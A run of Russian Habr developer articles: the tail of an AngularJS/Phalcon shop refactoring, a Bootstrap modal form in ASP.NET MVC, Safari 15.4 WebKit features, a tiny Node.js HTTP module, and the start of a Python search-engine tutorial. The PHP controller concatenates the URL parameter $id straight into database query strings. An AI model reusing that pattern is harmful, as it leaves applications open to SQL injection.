Вообще, я слышал что для индексации такого подхода сервер должен возвращать html вместо json, но тогда не понятно как избежать инлайн вставок PHP скриптов? Этот вопрос остался для меня загадкой. И этот подход породил ещё одну проблему, если пользователь перейдя по ссылке /#!/menu/7 нажмёт кнопку «Обновить страницу», то ~~его глаза наполняться кровью от вида json данных~~ он увидит вместо нормальной страницы просто json данные. И тут нам на подмогу приходит Phalcon PHP Framework, на самом деле можно было и без него, но так как я с ним работаю, то и делаю всё в его стиле. Чтобы исправить эту ошибку, я решил что буду отдавать данные json, только при ajax запросах, а при обычных запросах буду перенаправлять пользователя по ссылке /#!/menu/$id.
```
public function menuAction($id)
{
if($id != 'undefined')
{
if ($this->request->isAjax() == true) {
//Получаем основную категорию
$category = Category::findFirst($id);
//Проверяем есть ли подкатегории
$sub_category = Category::find("pid = '" . $id . "'");
if (count($sub_category) > 0) {
$products['category'] = $category->name;
foreach ($sub_category as $key => $val) {
$products['subcategory'][$key] = array(
'name' => $val->name,
'products' => Products::find("category = '" . $val->id . "'")->toArray()
);
}
} else {
$products = array(
'category' => $category->name,
'products' => Products::find("category = '" . $category->id . "'")->toArray()
);
}
$this->response->setContent(json_encode($products));
return $this->response->send();
} else {
$this->response->redirect('/#!/menu/' . $id);
return false;
}
}
else
{
return false;
}
}
```
Проверка на AJAX запрос в Phalcon, осуществляется с помощью условия:
```
if ($this->request->isAjax() == true) {
//This is Ajax
}
```
Но есть проблема, AngularJS по-умолчанию не отправляет специальный заголовок **X-Requested-With** серверу [6], а значит без помощи AngularJS, эта функция не будет работать, поэтому пришлось добавить одну строчку в конфиг ангуляра.
```
var app = angular.module('rollShop', ['ngRoute', 'mm.foundation'], function ($httpProvider) {
$httpProvider.defaults.headers.common["X-Requested-With"] = 'XMLHttpRequest';
}
```
Теперь всё работает, и пользователь никогда не увидит голый JSON.
Кстати, для индексации я подумал может сделать проверку на бота, и боту отдавать чистый html, без js кода, без кнопок, просто товары. Правда не знаю сработает это или правильно это, может кто подскажет в комментариях.
#### **Добавление в корзину через вставку инлайн PHP скриптов**
Благодаря исправлению предыдущего недочёта, автоматически был исправлен недочёт со вставкой инлайн PHP скриптов в функцию js. Давайте сравним как происходило добавление товара в корзину раньше, а как стало сейчас.
**До (фу):**
```
```
```
$scope.addCart = function(id, num, title, price)
{
var nums = num || 1;
$scope.carts.push({
id : id,
num : nums,
title : title,
price : price
});
};
```
**После:**
```
```
```
$scope.addCart = function (item) {
CartsService.addCart(item);
};
```
Честно, мне такой подход гораздо больше нравится, хоть заказчик этого не оценит, и не заплатит больше, но как-то за себя стало гордо, и на душе приятно.
#### **Отсутствие единого стиля написания кода**
Пока исправлял предыдущие два недочёта, автоматически пришлось исправить ещё два — «использование логики в контроллерах», как видите теперь всё делает сервис, и «отсутствие единого стиля написания кода».
Это моя вечная проблема, но опять же если смотреть с точки зрения экономики, и подхода «главное — работает», то здесь всё достаточно эффективно, не заморачиваясь на стайлгайдах, я экономил кучу своего времени, а время, как известно — деньги. К слову бюджеты моих клиентов от 50 до 100 тыс. руб, и им всё равно как написан код. Но это всё оправдания, я ведь хочу исправить ситуацию, и сделать код красивым, читабельным и логичным, в чём мне помогли две статьи на Хабре [2] и [3].
В итоге у меня вышло 2 контроллера, 3 фабрики, 1 вид и один общий app.js. Выглядит это сейчас примерно так:
Собственно как и рекомендовалось делать в тех стайлгайдах. А теперь давайте посмотрим на контроллеры, и можете сравнить с прошлой статьей.
ProductsController.js
```
function ProductsController($scope, $routeParams, ProductsService, CartsService)
{
$scope.items = '';
ProductsService.getData($routeParams.id).success(function(data){
$scope.items = data;
});
$scope.addCart = function (item) {
CartsService.addCart(item);
};
}
angular.module('rollShop').controller('ProductsController', ProductsController);
```
CartsController.js
```
function CartController($scope, CartsService) {
$scope.carts = CartsService.getItemsCart();
$scope.total = function(){
return CartsService.summary($scope.delivery)
};
$scope.removeItem = function (carts, item) {
CartsService.removeItem(carts, item);
};
}
angular.module('rollShop').controller('CartController', CartController);
```
Всё круто, как мне кажется, даже самому больше нравится, чем то, что было раньше, точнее даже, что творилось раньше у меня в контроллерах.
#### **Хранение корзины в объекте js, который после перезагрузки страницы сбрасывался**
Следующий недочет, на который в первую очередь обратили внимание читатели, это хранение товаров корзины в объекте js. Почему я выбрал этот подход, я объяснил в прошлой статье, ведь магазин одностраничный. В любом случае, реализовать хранение в localStorage не составляет труда, да и думаю пригодиться в дальнейшем.
Я начал искать удобный модуль для AngularJS, который бы работал с localStorage, но в то же время он должен быть простым, и лёгким. Я нашёл несколько вариантов реализации, но они были сложные и большие на мой взгляд, ссылок сейчас к сожалению не помню, и потом наткнулся на тот вариант, что был как раз для меня [5].
```
angular.module('ionic.utils', [])
.factory('$localstorage', ['$window', function($window) {
return {
set: function(key, value) {
$window.localStorage[key] = value;
},
get: function(key, defaultValue) {
return $window.localStorage[key] || defaultValue;
},
setObject: function(key, value) {
$window.localStorage[key] = JSON.stringify(value);
},
getObject: function(key) {
return JSON.parse($window.localStorage[key] || '{}');
}
}
}]);
```
Правда использование его в таком виде не давало 100% исправную работу. При добавлении одного товара в корзину, всё было хорошо, но как только туда попадал второй другой товар или товар из другой категории, ng-repeat переставал выводить товары в корзине, а в консоли святилась [ошибка](https://docs.angularjs.org/error/ngRepeat/dupes?p0=item%20in%20carts&p1=object:6):
> Duplicates in a repeater are not allowed. Use 'track by' expression to specify unique keys.
Решение этой ошибки я нашёл в источнике [4]. Проблема была из-за добавления в массив $$hashKey, я так и не разобрался что это, откуда, и зачем, но мне нужно было избавиться от этого, чтобы всё работало, и конечный вариант фабрики работающей с localStorage выглядит так:
```
function LocalStorageFactory($window)
{
return {
set: function(key, value) {
$window.localStorage[key] = value;
},
get: function(key, defaultValue) {
return $window.localStorage[key] || defaultValue;
},
setObject: function(key, value) {
$window.localStorage[key] = JSON.stringify(value, function (key, val) {
if (key == '$$hashKey') {
return undefined;
}
return val;
});
},
getObject: function(key) {
return JSON.parse($window.localStorage[key] || '{}');
},
remove: function(key){
$window.localStorage.removeItem(key);
},
clear : function() {
$window.localStorage.clear();
}
}
}
angular.module('rollShop').factory('LocalStorageFactory', LocalStorageFactory);
```
Я думаю код небольшой, и найти 2 отличия будет не трудно, проверка на $$hashKey помогла мне исправить ошибка с дубликатами. Теперь сервис корзины работал исправно, и хорошо, запоминая позиции, пересчитывая сумму, и.т.д. Код привожу ниже:
```
function CartsService(LocalStorageFactory)
{
var CartsService = {};
var CartData;
if(LocalStorageFactory.getObject('carts').length > 0)
{
CartData = LocalStorageFactory.getObject('carts');
}
else
{
CartData = [];
}
CartsService.addCart = function (item)
{
CartData.push({
id: item.id,
num: item.quality || 1,
title: item.title,
price: item.price
});
CartsService.update();
};
CartsService.update = function()
{
if(LocalStorageFactory.getObject('carts').length > 0)
{
LocalStorageFactory.remove('carts');
}
LocalStorageFactory.setObject('carts',CartData);
};
CartsService.getItemsCart = function () {
return CartData;
};
CartsService.removeItem = function (items, id) {
items.splice(id, 1);
CartsService.update();
};
CartsService.summary = function(dispatch)
{
var total = 0;
var delivery = 0;
angular.forEach(CartsService.getItemsCart(), function (item) {
total += item.num * item.price;
});
//Тут был код высчитывающий стоимость доставки
return total + delivery;
};
return CartsService;
}
angular.module('rollShop').factory('CartsService', CartsService);
```
Не идеально, но всё же лучше, чем было.
#### **Отзывчивость интерфейса по ходу загрузки новых категорий**
JSON данные, приходящие с сервера весят не больше 10 кб, плюс время отдачи сервером, плюс время реакции js, в общем в случае великого камчатского интернета с огромнейшим пингом, есть смысл показать пользователю preloader при каждом запросе, да и это в любом случае хороший тон.
Можно конечно это отдать контроллеру, но хотелось более универсальное решение, и опять же при этом, простое и лёгкое. Сначала я думал использовать плагин nProgress lite для AngularJS, но всё же решил сделать ещё проще, и нашёл пример [7].
```
function run($rootScope, $timeout) {
$rootScope.layout = {};
$rootScope.layout.loading = false;
$rootScope.$on('$routeChangeStart', function () {
$timeout(function(){
$rootScope.layout.loading = true;
});
});
$rootScope.$on('$routeChangeSuccess', function () {
$timeout(function(){
$rootScope.layout.loading = false;
}, 500);
});
$rootScope.$on('$routeChangeError', function () {
$timeout(function(){
$rootScope.layout.loading = false;
}, 500);
});
}
angular.module('rollShop').run(run);
```
Теперь когда наступает одно из событий (думаю по названию события всё понятно), показывается / скрывается прелоадер.
```
```
Теперь клиент не будет кликать по 5 раз на категорию, не понимая грузиться она или нет.
#### **Заключение**
Я постарался исправить недочёты допущенные во время разработки, но основная цель была приучить себя к грамотному использованию технологий, даже не смотря на отсутствие команды. Честно признаюсь, я получил массу удовольствия, хоть и потратил не лишнее рабочее время, и не получил за это какой-либо компенсации. Для себя я заключил, что все последующие проекты я буду делать уже с более грамотным подходом, потому что такой подход заставляет ценить не только деньги полученные за проект, но и знания и опыт полученные во время работы над ним. Опыт и знания дают гордость за своё дело, повышают качество работы, любовь к тому что делаешь. А всё это не оставит тебя без денег в кармане. | https://habr.com/ru/post/246733/ | null | ru | null |
# Модальное окно bootstrap для редактирования форм
Возникла необходимость использовать плагин bootstrap-modal.js для редактирования формы. Казалось бы тривиальная задача, но пришлось столкнуться с некоторыми сложностями. В данной статье поделюсь с вами своим решением, более изящные решения и здоровая критика приветствуются.
Имеется страница с формой для редактирования товара. Добавим на форму выпадающий список с перечнем производителей. Рядом разместим бутстраповскую иконку icon-plus-sing, которая и будет триггером для вызова модального окна.
```
@Html.LabelFor(model => model.Producers)
@Html.DropDownListFor(model => model.ProducerId, Model.Producers)
@Ajax.RawActionLink(
"",
ActionConstants.Edit,
ProducerController.Name,
null,
new AjaxOptions
{
UpdateTargetId = "edit\_producer",
InsertionMode = InsertionMode.Replace,
HttpMethod = "GET",
OnSuccess = "ShowProducerEditModal"
},
null)
@Html.ValidationMessageFor(model => model.Producers)
```
Примечание: используются [кастомные html-хелперы](http://develoq.net/2011/how-to-create-custom-html-helpers-for-asp-net-mvc-3-and-razor-view-engine/) DropDownListFor и RawActionLink.
Идем дальше. Пишем js обработчик на событие OnSuccess.
```
function ShowProducerEditModal() {
$('#edit_producer').modal('show');
}
```
Далее нам нужен экшен в контроллере ProducerController для рендеринга содержимого модального окна.
```
[HttpGet]
public ActionResult Edit(long? id)
{
ProducerEditModel model = service.GetProducerEditModel(id);
return PartialView("ProducerEditPartial", model);
}
```
Частичное предстваление контента модального окна:
```
@using (Ajax.BeginForm(
ActionConstants.Edit,
ProducerController.Name,
new AjaxOptions
{
HttpMethod = "POST",
OnSuccess = "OnSuccess"
}))
{
×
### Редактирование производителя
@Html.HiddenFor(model => model.Id)
@Html.LabelFor(model => model.Name)
@Html.EditorFor(model => model.Name)
@Html.ValidationMessageFor(model => model.Name)
[Close](#)
}
```
В результате получаем красивый попап с формой по клику на триггер.
Следом стоит задача валидации редактируемой формы и добавление нового элемента в выпадающий список. Для этого пишем обработчик события OnSuccess. Предусмотрим возможность добавления и редактирования элемента выпадающего списка. Если содержимое формы оказывается не валидным, то отрисовываем форму внутри модального окна ещё раз.
```
function OnSuccess(data) {
if (data.isValid) {
$('#edit_producer').modal('hide');
if (data.isNew) {
AppendToDropDownList(data.name, data.id, 'ProducerId');
} else {
EditDropDownListItem(data.name, data.id, 'ProducerId');
}
} else {
$('#edit_producer').html(data.partialView);
}
}
function AppendToDropDownList(text, value, ddlId) {
var newItem = $('', {
value: value,
text: text
});
$('#' + ddlId).append(newItem);
}
function EditDropDownListItem(text, value, ddlId) {
$('#' + ddlId + ' option[value="' + value + '"]').text(text).val(value);
}
```
В контроллер ProducerController пишем ещё один экшен.
Примечание: используется кастомный статический метод RenderRazorViewToString
```
[HttpPost]
public ActionResult Edit(ProducerEditModel model)
{
if (ModelState.IsValid)
{
bool isNew = model.Id == 0;
long id = service.Save(model);
return Json(new
{
isValid = true,
id = id,
name = model.Name,
isNew = isNew
});
}
return Json(new
{
partialView = RenderUtils.RenderRazorViewToString(this, "ProducerEditPartial", model),
isValid = false
});
}
```
В общем-то на этом все. Спасибо за внимание.
Полезные ссылки:
[Русскоязычное руководство по bootstrap](http://bootstrap-ru.com/)
[Туториал по bootstrap-modal.js](http://www.w3resource.com/twitter-bootstrap/modals-tutorial.php)
[Исходники bootstrap-modal.js](https://github.com/jschr/bootstrap-modal) | https://habr.com/ru/post/179211/ | null | ru | null |
# В Safari 15.4 добавили более 70 дополнений к WebKit
В Safari 15.4 [добавлено](https://webkit.org/blog/12445/new-webkit-features-in-safari-15-4/) более 70 дополнений к WebKit, а также иные обновления и исправления. Это первый большой выпуск WebKit в 2022 году. Safari 15.4 доступен сегодня для macOS Monterey 12.3, iPadOS и iOS 15.4.
**HTML**
В WebKit добавлена поддержка загрузки изображений с помощью атрибута loading ![](), что дает веб-разработчикам возможность указать браузеру отложить загрузку определенных изображений до тех пор, пока пользователь не проскроллит страницу.
В WebKit также появилась поддержка элемента и псевдоэлемента ::backdrop. Элемент обеспечивает надежный способ создания наложений и модальных окон. Псевдоэлемент ::backdrop позволяет стилизовать фон под модальным окном.
```
Do you want to delete everything?
=================================
You will lose all your data.
Cancel
Delete!
```
Наконец, в WebKit добавлена поддержка глобального атрибута автофокуса, позволяющего разработчикам указывать, какой элемент должен быть в фокусе при загрузке страницы или при отображении .
**CSS**
Несколько дополнений к CSS предлагают веб-разработчикам революционно новые способы построения своего кода, упрощая его повторное использование, создание систем дизайна и интеграцию со сложными приложениями.
Сначала в Safari появился WebKit, добавивший поддержку псевдокласса :has(). Он позволяет создать «родительский селектор» — способ условного применения правил CSS на основе содержимого элемента. Теперь добавлена поддержка каскадных слоев — мощного способа организации стилей в слои, где специфичность вычисляется независимо внутри каждого. Веб-разработчик может создать слой «фреймворк» и «пользовательский» слой, назначив весь CSS из стороннего фреймворка слою «фреймворк» и написав свой собственный код в «настраиваемый» слой. Cascade Layers появится во всех основных браузерах примерно в одно и то же время и будет включен в Interop 2022.
WebKit также добавил поддержку CSS Containment всех четырех типов: размер, макет, стиль и рисование — с помощью свойства contains.
Появился инструмент, который будет работать аналогично существующим единицам области просмотра, но соответствовать потребностям мобильных устройств, где размеры области просмотра браузера изменяются по мере того, как пользователь прокручивает страницу. Эту задачу решит Viewport Units — решение для регулировки параметров динамического окна просмотра.
Добавлена поддержка псевдокласса :focus-visible для оформления индикатора фокуса только тогда, когда браузер его отображает.
Чтобы сделать собственные элементы управления формой более настраиваемыми, свойство Accent-Color предоставляет веб-разработчикам возможность изменять цвет определенных частей пользовательского интерфейса. Акцентный цвет поддерживается для , , , и типов ввода текста с в macOS, iPadOS и iOS. Кроме того, в iPadOS и iOS цвет акцента поддерживается для , и .
Исправлена ошибка с интерполяцией между цветами с альфа-прозрачностью: улучшена поддержка градиента. WebKit добавляет поддержку математических функций calc(), включая sin, cos, tan, e, pi, exp, log, atan, acos, asin и atan2.
**Типографика**
Несколько новых функций WebKit в Safari 15.4 расширяют возможности типографики.
Так, добавлена поддержка CSS-свойства font-palette и правила @font-palette-values. Свойство font-palette предоставляет веб-разработчикам возможность выбрать одну из нескольких предопределенных цветовых палитр, содержащихся внутри цветного шрифта. Правило @font-palette-values позволяет определять свою собственную цветовую палитру для перекрашивания цветных шрифтов. В WebKit также появилась поддержка text-decoration-skip-ink, позволяющая контролировать, как отображаются подчеркивания. Ранее WebKit поддерживал эту типографскую функцию через text-decoration-skip, но другие браузеры еще не знакомы с этим сокращением.
В WebKit добавлена поддержка модуля ic, что полезно при наборе скриптов CJK. Подобно тому, как единица ch эквивалентна ширине (или высоте, в зависимости от того, что является внутренним направлением) глифа 0 в шрифте, единица ic эквивалентна длине встроенного направления (ширине или высоте) глифа «水» в текущем шрифте элемента.
**Отказ от префиксов**
WebKit теперь поддерживает несколько свойств и значений CSS, которые ранее были доступны только в превью. Версии с префиксом по-прежнему будут работать. В Safari 15.4 добавлена поддержка appearance, mask (mask-image, mask-size, mask-repeat-x, mask-repeat-y, mask-origin), backface-visibility, text-combine-upright, print-color-adjust, match-parent CSS value для свойства text-align. Из WebKit удалили нестандартные свойства CSS -webkit-border-fit, -webkit-margin-collapse, -webkit-margin-top-collapse, -webkit-margin-bottom-collapse, -webkit-margin-before-collapse, -webkit-margin-after-collapse и -webkit-background-composite.
**Веб-API**
Этот выпуск включает в себя множество обновлений веб-API в WebKit, чтобы помочь веб-разработчикам улучшить взаимодействие с пользователем. Поддержка BroadcastChannel позволяет вкладкам, окнам, фреймам и рабочим процессам из источника отправлять сообщения друг другу, чтобы использовать синхронизацию состояния входа на сайт на нескольких вкладках.
Еще одним новым механизмом, поддерживаемым в WebKit, является API веб-замков для управления доступом к ресурсу в качестве асинхронного элемента управления блокировкой из источника во вкладках, окнах, фреймах и рабочих процессах.
Разработчики также могут управлять поведением прокрутки элемента либо с помощью свойства CSS scroll-behavior, либо с помощью параметра поведения в методах window.scroll(), window.scrollTo() и window.scrollBy() в JavaScript.
В API ResizeObserver обновлена поддержка интерфейса ResizeObserverSize, используемого ResizeObserverEntry; она поможет разработчикам наблюдать за изменениями свойств размера блока элемента.
Добавление StructuredClone(value) предоставляет утилиту, которая использует алгоритм для синхронного выполнения глубокого копирования для клонирования и переноса объектов из входного значения.
Поддержка WebKit API доступа к файловой системе с частной файловой системой Origin впервые появилась в Safari 15.2. В этом выпуске представлен метод getFile() в FileSystemFileHandle, что делает более удобным чтение файла из файловой системы. Кроме того, WebKit обновил WriteableStream для работы с API доступа к файловой системе.
**JavaScript**
Новые функции в JavaScript обеспечивают дополнительные удобства для разработчиков. Функции Array делают более удобным поиск, начинающийся с конца массива, с помощью методов findLast() и findLastIndex(). Эти методы позволяют разработчикам избежать типичного подхода, требующего сначала изменить массив с помощью reverse().
Также поддерживается метод at() для доступа к записи по указанному целочисленному индексу, что, в частности, включает поддержку использования отрицательных целых чисел для начала в конце массива.
```
let list = ['banana','cherry','orange','apple','kiwi'];
// Instead of this:
console.log(list[list.length-2]);
// It's as easy as:
console.log(list.at(-2));
```
Новая языковая утилита Object.hasOwn() позволяет проще определить наличие у объекта свойства, которое не унаследовано или не существует.
**Интернационализация**
WebKit продолжает добавлять регулярные обновления в свою реализацию Intl. Этот выпуск включает идентификацию поддерживаемых значений местных часовых поясов, параметров сортировки, календарей, систем нумерации и валюты с помощью API Intl Enumeration.
В WebKit обновили Intl.DisplayNames, добавив поддержку имен календаря и dateTimeField, а также параметр languageDisplay.
Метод selectRange() обеспечивает правильное для региональных настроек множественное число для диапазонов (например, элементы 0-1). В обновлении Intl.NumberFormat добавлены методы formatRange() и formatRangetoParts() для форматирования диапазона чисел с использованием региональных соглашений, а также новые параметры useGrouping, roundingPriority, roundingIncrement, trailingZeroDisplay и signDisplay.
Наконец, Intl.DateTimeFormat включает поддержку четырех новых параметров timeZoneName: shortOffset, longOffset, shortGeneric и longGeneric.
**Веб-приложения**
Web App Manifest и ServiceWorker получили обновления, улучшающие работу пользователей как с веб-сайтами в Safari, так и с веб-приложениями, сохраненными на главном экране в iOS и iPadOS.
Теперь браузер будет извлекать файл манифеста во время загрузки страницы всегда, а не только когда пользователь выбирает «Добавить на главный экран» в меню «Поделиться».
Также поддерживается объявление значков в файле манифеста веб-приложения. Определение значков с помощью apple-touch-icon имеет приоритет над значками, объявленными в манифесте: это обеспечит согласованное поведение веб-приложений, использующих этот метод.
Теперь разработчики смогут включить предварительную загрузку навигации в ServiceWorker, чтобы повысить производительность и избежать задержек запуска, которые блокируют сетевые запросы. Появилась новая поддержка, позволяющая пользователям загружать файлы, созданные ServiceWorker. WebKit также повысил надежность использования Fetch с помощью FormData с файлом, проходящим через ServiceWorker.
**Мультимедиа**
API согласования WebRTC теперь полностью соответствует спецификации WebRTC 1.0. Это подход, который решает потенциальные проблемы синхронизации между двумя удаленными одноранговыми узлами.
В WebKit добавлена поддержка встроенных дорожек глав для аудио и видео. Внутриполосные текстовые дорожки предоставляют заголовки или информацию о маркерах глав внутри контейнера. Треки внутриполосных субтитров, такие как CEA-608, уже поддерживались. Теперь также поддерживаются внутриполосные дорожки глав, где «метка» предоставляет время начала и название главы.
В WebKit добавлена поддержка requestVideoFrameCallback() для , что позволяет вызывающему абоненту получать уведомления о наличии нового видеокадра, доступного для отображения, а также предоставляет метаданные об этом кадре.
**Конфиденциальность**
В Safari 15.4 внедрят три обновления:
* добавлено предотвращение мошенничества с конверсией с помощью несвязываемых токенов для запуска событий на веб-сайтах продавцов;
* добавлена поддержка пикселей конверсии на одном сайте на веб-сайтах продавцов, чтобы исключить зависимость от межсайтовых пикселей;
* разрешено измерение ссылок во вложенных межсайтовых окнах iframe на веб-сайтах издателей.
**Безопасность**
WebKit в Safari 15.4 улучшает поддержку политики безопасности контента уровня 3. Отчеты о нарушении заблокированных ресурсов для встроенного скрипта, встроенного стиля и выполнения eval обновлены для соответствия веб-стандартам. Новая поддержка исходных выражений «strict-dynamic», «unsafe-hash» и «report-sample» дает разработчикам больше гибкости. Они также могут безопасно включать внешний JavaScript на свои страницы, используя новую поддержку исходных хеш-выражений.
В выпуске удалена поддержка XSS Auditor, который был заменен современными средствами защиты, такими как CSP и COEP.
**WKWebView**
Разработчики, использующие WKWebView, в том числе сторонние браузеры на iOS и iPadOS, могут задействовать новый WKPreferen.ces для дополнительного контроля взаимодействия с пользователем. Приложения для iOS, iPadOS и macOS теперь могут разрешать или запрещать использование веб-контентом полноэкранного API. Еще один новый параметр позволяет включать или отключать особенности сайта — набор поведения для конкретного сайта, предназначенный для улучшения веб-совместимости.
В iPadOS веб-контент, использующий расширения Media Source, теперь работает в WKWebView.
**Веб-расширения Safari**
В Safari 15.4 включают дополнительную поддержку веб-расширений, в том числе поддержку manifest\_version 3 и соответствующие изменения API. Новые возможности включают в себя следующее:
* фоновые сценарии service\_worker в качестве альтернативы непостоянным фоновым страницам;
* внедрение скриптов и стилей через API-интерфейсы browser.scripting;
* динамические правила и правила сеанса через API-интерфейсы browser.declarativeNetRequest;
* обмен сообщениями между веб-страницей и расширением с использованием externally\_connectable:matches.
Также было решено несколько вопросов, в том числе такие:
* применяются ограничения на размер и количество элементов в хранилище синхронизации расширений;
* в content\_security\_policy манифеста расширения разрешено включать больше директив, например, директиву песочницы;
* специальные совпадающие символы (\*, |, || и ^) в urlFilter правил declarativeNetRequest теперь обрабатываются вместо того, чтобы рассматриваться как шаблоны регулярных выражений.
**Web Inspector**
Обновления Web Inspector предоставляют полезные инструменты для работы с CSS на панели «Стили», в том числе интуитивно понятную поддержку каскадных слоев и новые наборы правил @layer, упрощающие понимание того, в каком слое определено правило.
Появились также новые элементы управления выравниванием CSS при использовании align-content, align-items, align-self, justify-content, justify-items или justify-self для Flexbox и Grid при визуальном определении и выборе идеального значения. | https://habr.com/ru/post/655743/ | null | ru | null |
# Легковесный модуль для HTTP запросов
Все началось с того, что передо мной встала задача написать бота для Telegram, здесь, я первый раз столкнулся с их [API](https://core.telegram.org/bots/api). Для работы с ним я выбрал популярный на сегодняшний день модуль [Request](https://github.com/request/request).
Бот был написан. Я заметил, что потребление им памяти росло с каждым запросом к API, уличив в проблеме тяжеловесный Request, я решил попробовать написать свой модуль для HTTP запросов, максимально простой, легковесный и быстрый.
В итоге вышел максимально компактный (сейчас в основном файле модуля меньше 200 строк) и не обделенный функционалом модуль, который я назвал tiny\_request.
#### Простота использования
Для обычного GET запроса достаточно написать всего несколько строк:
```
var req = require('tiny_request')
req.get('http://google.com', function(body, response, err){
if (!err && response.statusCode == 200) {
console.log(body)
}
})
```
#### JSON
Так как в первую очередь модуль будет использоваться для работы с API я решил, что нужен простой механизм работы с json.
Для автоматической десериализации полученного ответа от сервера достаточно передать параметр json: true
```
var req = require('tiny_request')
req.get({ url: 'http://test.com/json', json: true}, function(body, response, err){
if (!err && response.statusCode == 200) {
console.log(body) //body now is parsed JSON object
}
})
```
#### GET запросы
Для запроса с GET параметрами достаточно передать query равный объекту с GET параметрами, также для изменения порта запроса достаточно передать параметр port:
```
req.get({ url: 'http://test.com', query: { test: 'test' }, port: 8080}, function(body, response, err){
if (!err && response.statusCode == 200) {
console.log(body)
}
})
```
#### POST Multipart
Куда же без POST запросов и передачи файлов?
```
var data = {
image: {
value: fs.createReadStream('photo.png'),
filename: 'photo.png',
contentType: 'image/png'
},
test: 'test'
}
req.post({
url: 'http://test.com',
multipart: data
}, function(body, response, err){
if (!err && response.statusCode == 200) {
console.log(body)
}
})
```
#### POST формы
Работа с формами так же очень проста:
```
var form = {
test: 'test'
}
req.post({ url: 'http://test.com', form: form}, function(body, response, err){
if (!err && response.statusCode == 200) {
console.log(body)
}
})
```
#### HTTP заголовки
Для добавления заголовков достаточно передать параметр headers:
```
var headers = {
'Test-Header': 'test'
}
req.post({ url: 'http://test.com', headers: headers}, function(body, response, err){
if (!err && response.statusCode == 200) {
console.log(body)
}
})
```
#### Pipe stream
Работа со стримами тоже проста:
```
req.get({url: url, pipe: stream})
```
Все исходники можно найти на GitHub: [github.com/Naltox/tiny\_request](https://github.com/Naltox/tiny_request) | https://habr.com/ru/post/264583/ | null | ru | null |
# Как сделать полнотекстовую поисковую машину на 150 строках кода Python
Полнотекстовый поиск — неотъемлемая часть нашей жизни. Разыскать нужные материалы в сервисе облачного хранения документов, найти фильм в Netflix, купить туалетную бумагу на Ozon или отыскать с помощью сервисов Google интересующую информацию в Интернете — наверняка вы сегодня уже не раз отправляли похожие запросы на поиск нужной информации в невообразимых объёмах неструктурированных данных. И что удивительнее всего — несмотря на то что вы осуществляли поиск среди миллионов (или даже миллиардов) записей, вы получали ответ за считанные миллисекунды. Специально к старту нового потока курса [Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=070421) в данной статье мы рассмотрим основные компоненты полнотекстовой поисковой машины и попытаемся создать систему, которая сможет за миллисекунды находить информацию в миллионах документов и ранжировать результаты по релевантности, причём всю систему можно воплотить всего в 150 строках кода на Python!
---
Данные
------
Весь код, использованный в данной статье, можно найти на [Github](https://github.com/bartdegoede/python-searchengine/). Здесь я приведу ссылки на фрагменты кода, и вы сами сможете попробовать с ним поработать. Весь пример можно запустить, установив файл [requirements](https://github.com/bartdegoede/python-searchengine/blob/master/requirements.txt) (pip install -r requirements.txt) и [запустив на выполнение файл python run.py](https://github.com/bartdegoede/python-searchengine/blob/master/run.py). Данная команда загрузит все данные и запустит пример поискового запроса с ранжированием и без ранжирования.
Перед тем как начать создание поисковой машины, нужно подготовить полнотекстовые неструктурированные данные, в которых будет осуществляться поиск. Искать будем в аннотациях статей из английской Википедии. Это заархивированный с помощью gzip — утилиты сжатия и восстановления файлов — XML-файл размером около 785 Мбайт, содержащий приблизительно 6,27 миллионов аннотаций [1]. Для загрузки архивированного XML-файла я написал [простую функцию](https://github.com/bartdegoede/python-searchengine/blob/master/download.py), но вы можете поступить проще — загрузить его вручную.
### Подготовка данных
Все аннотации хранятся в одном большом XML-файле. Аннотации в таком файле отделяются друг от друга элементом и выглядят примерно так (элементы, которые нас не интересуют, я опустил):
```
Wikipedia: London Beer Flood
https://en.wikipedia.org/wiki/London\_Beer\_Flood
The London Beer Flood was an accident at Meux & Co's Horse Shoe Brewery, London, on 17 October 1814. It took place when one of the wooden vats of fermenting porter burst.
...
```
Интерес для нас представляют следующие разделы: title, url abstract (сам текст аннотации). Чтобы было удобнее обращаться к данным, представим документы как [класс данных Python](https://realpython.com/python-data-classes/). Добавим свойство, конкатенирующее заголовок и содержание аннотации. Код можно взять [здесь](https://github.com/bartdegoede/python-searchengine/blob/master/search/documents.py).
```
from dataclasses import dataclass
@dataclass
class Abstract:
"""Wikipedia abstract"""
ID: int
title: str
abstract: str
url: str
@property
def fulltext(self):
return ' '.join([self.title, self.abstract])
```
Затем нужно извлечь данные из XML-файла, осуществить их синтаксический разбор и создать экземпляры нашего объекта Abstract. Весь заархивированный XML-файл загружать в память не нужно, будем работать с потоком данных [2]. Каждому документу присвоим собственный идентификатор (ID) согласно порядку загрузки (то есть первому документу присваивается ID=1, второму — ID=2 и т. д.). Код можно взять [здесь](https://github.com/bartdegoede/python-searchengine/blob/master/load.py).
```
import gzip
from lxml import etree
from search.documents import Abstract
def load_documents():
# open a filehandle to the gzipped Wikipedia dump
with gzip.open('data/enwiki.latest-abstract.xml.gz', 'rb') as f:
doc_id = 1
# iterparse will yield the entire `doc` element once it finds the
# closing `` tag
for _, element in etree.iterparse(f, events=('end',), tag='doc'):
title = element.findtext('./title')
url = element.findtext('./url')
abstract = element.findtext('./abstract')
yield Abstract(ID=doc_id, title=title, url=url, abstract=abstract)
doc_id += 1
# the `element.clear()` call will explicitly free up the memory
# used to store the element
element.clear()
```
Индексирование
--------------
Полученные данные сохраняем в структуре данных, называемой «[обращённый указатель», или «список документов](https://en.wikipedia.org/wiki/Inverted_index)». Полученная структура напоминает алфавитный указатель, который обычно приводится в конце книги, представляющий собой перечень встречающихся в книге соответствующих слов и понятий с указанием номеров страниц, на которых такие слова и понятия встречаются.
Так выглядит книжный алфавитный указатель Фактически мы создаём словарь, в котором будет проведено сопоставление всех слов нашего набора документов с идентификаторами документов, в которых встречаются эти слова. Выглядеть это будет примерно так:
```
{
...
"london": [5245250, 2623812, 133455, 3672401, ...],
"beer": [1921376, 4411744, 684389, 2019685, ...],
"flood": [3772355, 2895814, 3461065, 5132238, ...],
...
}
```
Обратите внимание, что в приведённом выше примере элементы словаря записаны строчными буквами. Перед созданием указателя мы должны разбить исходный текст на отдельные слова, или лексемы, то есть проанализировать текст. Сначала разобьём текст на отдельные слова (по-научному: выделим лексемы), а затем применим к лексемам ряд фильтров, например фильтр преобразования в нижний регистр или фильтр выделения основы слова (в принципе, фильтры можно и не применять), — это поможет получать более адекватные результаты поисковых запросов.
Выделение лексем### Анализ
